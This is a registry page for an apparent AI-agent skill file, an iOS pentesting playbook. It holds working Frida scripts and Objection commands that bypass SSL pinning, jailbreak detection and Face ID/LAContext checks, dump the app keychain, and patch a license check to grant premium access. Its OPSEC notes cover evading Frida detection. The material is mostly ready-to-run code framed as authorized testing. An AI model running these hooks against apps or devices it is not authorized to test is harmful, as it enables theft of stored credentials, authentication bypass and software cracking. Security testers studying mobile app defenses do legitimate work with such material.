CtrlK
BlogDocsLog inGet started
Tessl Logo

dynamic

iOS dynamic instrumentation on jailbroken device — Frida/Objection setup, SSL Kill Switch pinning bypass, jailbreak-detection bypass, keychain dump, biometric/LAContext bypass, and ObjC runtime method hooking.

68

Quality

82%

Does it follow best practices?

Run evals on this skill

Adds up to 20 points to the overall score

View guide

SecuritybySnyk

Critical

Do not install without reviewing

SKILL.md
Quality
Evals
Security

iOS Dynamic Instrumentation Playbook

Jailbroken device required for full Frida/Objection access. Most enterprise and bounty-program iOS testing falls here. For static-only analysis (no jailbreak) see reverser/ios-static/SKILL.md.

Prerequisites

  • iOS device jailbroken with palera1n (A8-A11 on iOS 16+), checkra1n (A5-A11, up to iOS 14.8), or unc0ver (A12+ up to iOS 14.8 with supported blobs). Confirm with uname -v in SSH.
  • Frida server installed via Cydia / Sileo (search "Frida") or manually:
# SSH to device (default Cydia SSH cred: alpine)
ssh root@<device-ip>

# Verify jailbreak + SSH works
id   # should return uid=0(root)
uname -v
  • Host side: pip install frida-tools objection
  • Confirm connectivity:
frida-ps -U   # lists processes on USB-connected device

Path A: SSL Pinning Bypass

SSL Kill Switch 2 / 3

Install via Cydia/Sileo (search "SSL Kill Switch 2" or "SSL Kill Switch 3" for iOS 15+). Toggle per-app in Settings → SSL Kill Switch. Relaunch the app; verify traffic appears in Burp (set device proxy to Burp listener IP:8080, install Burp CA as trusted profile via Settings → General → VPN & Device Management).

Objection pinning disable (preferred for on-demand toggle)

# Attach to running app
objection --gadget "TargetApp" explore

# In the Objection REPL:
ios sslpinning disable

# Verify: open the app, check Burp proxy for decrypted HTTPS

Frida codeshare scripts (NSURLSession / AFNetworking / TrustKit)

# Universal iOS pinning bypass (covers NSURLSession, Alamofire, AFNetworking)
frida -U -f com.target.bundle \
  --codeshare "wan-make/ios-ssl-pinning-bypass" \
  --no-pause

# TrustKit-specific bypass
frida -U -f com.target.bundle \
  --codeshare "machorka/trustkit-bypass" \
  --no-pause

Manual Frida script for custom pinners

// Hook SecTrustEvaluate + SecTrustEvaluateWithError
// Load with: frida -U -f com.target -l bypass-pin.js
if (ObjC.available) {
    var SecTrustEvaluateWithError = Module.findExportByName(
        "Security", "SecTrustEvaluateWithError");
    if (SecTrustEvaluateWithError) {
        Interceptor.replace(SecTrustEvaluateWithError,
            new NativeCallback(function(trust, error) {
                if (error !== 0) Memory.writePointer(error, ptr(0));
                return 1;  // errSecSuccess
            }, 'int', ['pointer', 'pointer']));
    }
}

Verify in Burp: HTTPS traffic from the target app appears decrypted.

Path B: Jailbreak-Detection Bypass

Objection built-in

objection --gadget "TargetApp" explore

# Disable JB detection (covers fileExistsAtPath Cydia checks + fork())
ios jailbreak disable

Common detection patterns to hook manually

PatternAPI to hook
File presence (/Applications/Cydia.app, /bin/bash)NSFileManager fileExistsAtPath:
URL scheme (cydia://)UIApplication canOpenURL:
fork() syscall returnfork (libc)
/proc/self/maps inspectionopen / fopen
Dyld image name scan_dyld_get_image_name
// Frida: hook fileExistsAtPath to suppress JB file checks
var NSFileManager = ObjC.classes.NSFileManager;
var orig = NSFileManager["- fileExistsAtPath:"].implementation;
Interceptor.replace(orig, ObjC.implement(
    NSFileManager["- fileExistsAtPath:"],
    function(self, sel, path) {
        var p = ObjC.Object(path).toString();
        var jbPaths = ["/Applications/Cydia.app", "/bin/bash",
                       "/usr/sbin/sshd", "/etc/apt", "/private/var/lib/apt/"];
        for (var i = 0; i < jbPaths.length; i++) {
            if (p.indexOf(jbPaths[i]) !== -1) return 0;  // false
        }
        return orig(self, sel, path);
    }
));

Liberty Lite / A-Bypass (tweak-side)

Install Liberty Lite or A-Bypass from Cydia/Sileo → enable per-app toggle before launch. Faster than scripting for commodity JB checks.

Path C: Keychain Dump

Objection keychain dump

objection --gadget "TargetApp" explore

# Dump all items accessible in app context
ios keychain dump

# Output: account, service, access group, kSecAttrAccessible class, value

Frida hook on SecItemCopyMatching

// Log every keychain query result
var SecItemCopyMatching = Module.findExportByName(
    "Security", "SecItemCopyMatching");
Interceptor.attach(SecItemCopyMatching, {
    onEnter: function(args) { this.result = args[1]; },
    onLeave: function(retval) {
        if (retval.toInt32() === 0 && !this.result.isNull()) {
            var items = new ObjC.Object(this.result.readPointer());
            console.log("[KC]", items.toString());
        }
    }
});

kSecAttrAccessible misconfig findings

ValueFinding
kSecAttrAccessibleAlwaysCritical — readable without unlock, even after reboot
kSecAttrAccessibleAlwaysThisDeviceOnlyHigh — readable without unlock
kSecAttrAccessibleAfterFirstUnlockMedium if secrets are high-value
kSecAttrAccessibleWhenUnlockedAcceptable baseline
kSecAttrAccessibleWhenPasscodeSetThisDeviceOnlySecure — requires passcode

Path D: Biometric / LAContext Bypass

Hook evaluatePolicy to always succeed

// Bypass LAContext biometric prompt — returns kLAErrorSuccess
var LAContext = ObjC.classes.LAContext;
Interceptor.attach(
    LAContext["- evaluatePolicy:localizedReason:reply:"].implementation,
    {
        onEnter: function(args) {
            // args[3] = reply block (id, NSError*)
            var replyBlock = new ObjC.Block(args[3]);
            var origImpl = replyBlock.implementation;
            replyBlock.implementation = function(success, error) {
                origImpl(1, null);  // force success=YES, error=nil
            };
        }
    }
);

Objection biometric bypass

objection --gadget "TargetApp" explore
ios ui biometrics_bypass

Path E: ObjC Runtime Method Swizzling (License / Auth Checks)

// Example: patch -[LicenseManager isPremiumUser] to return YES
Java.perform(function() {});  // no-op; use ObjC.available block

var LicenseMgr = ObjC.classes.LicenseManager;
if (LicenseMgr && LicenseMgr["- isPremiumUser"]) {
    Interceptor.replace(
        LicenseMgr["- isPremiumUser"].implementation,
        ObjC.implement(LicenseMgr["- isPremiumUser"], function(self, sel) {
            console.log("[+] isPremiumUser hooked -> returning YES");
            return 1;
        })
    );
}
# One-liner attach to running process
frida -U -n TargetApp -e "ObjC.classes.LicenseManager['- isPremiumUser'].implementation = ObjC.implement(ObjC.classes.LicenseManager['- isPremiumUser'], function(self,sel){return 1;});"

Evidence

Capture Burp traffic screenshot showing decrypted HTTPS after pinning bypass. Save keychain dump to /workspace/evidence/mobile/<bundle-id>/keychain.txt.

kg_add_node(
    kind="finding",
    label="iOS SSL pinning bypassable",
    props={
        "key": f"ios-ssl-pin::{bundle_id}",
        "severity": "high",
        "cvss": 7.4,
        "bundle_id": bundle_id,
        "bypass_method": "objection+ssl-kill-switch",
        "traffic_captured": True,
    },
)

kg_add_node(
    kind="finding",
    label="iOS keychain kSecAttrAccessibleAlways item",
    props={
        "key": f"ios-keychain-acl::{bundle_id}",
        "severity": "critical",
        "service": "<service-name>",
        "account": "<account-name>",
        "accessible_class": "kSecAttrAccessibleAlways",
    },
)

ZFP

Two-method evidence per finding:

  1. Pinning bypass: Burp HTTP history screenshot with decrypted HTTPS requests from the target app visible.
  2. Keychain misconfig: ios keychain dump output showing kSecAttrAccessibleAlways class + sensitive value.
  3. Biometric bypass: screen recording of the app unlocking without presenting a Face ID prompt after the hook fires.

OPSEC Notes

  • Jailbreaking leaves fingerprints: jailbroken device connects to Apple ID — use a dedicated Apple ID for testing; avoid using personal iCloud account.
  • Frida injects a Gadget dylib; some apps detect frida-agent in the dyld image list. Counter: Frida Gadget injection via objection patchipa or optool (embed Gadget, re-sign with codesign).
  • SSL Kill Switch modifies a system library; some app-layer integrity checks may detect it. Script-based bypass (injected Frida) leaves fewer static artifacts than a system tweak.
  • palera1n tethered jailbreak: device reboots to unjailbroken state; re-jailbreak each power cycle during long engagements.

Severity Table

BugSeverity
Keychain kSecAttrAccessibleAlways with auth tokenCritical 9.5
SSL pinning fully absent or bypassable without JBHigh 8.0
Jailbreak detection absentInformational
Biometric bypass exposing auth flowHigh 7.5
kSecAttrAccessibleAfterFirstUnlock with secretsMedium 5.5

References

  • palera1n: https://github.com/palera1n/palera1n
  • Frida: https://frida.re/docs/ios/
  • Objection: https://github.com/sensepost/objection
  • SSL Kill Switch 3: https://github.com/Tym0n/SSL-Kill-Switch3
  • Codeshare universal bypass: https://codeshare.frida.re/@wan-make/ios-ssl-pinning-bypass/
  • Cross-ref static analysis: reverser/ios-static/SKILL.md
Repository
PurpleAILAB/Decepticon
Last updated
First committed

Is this your skill?

If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.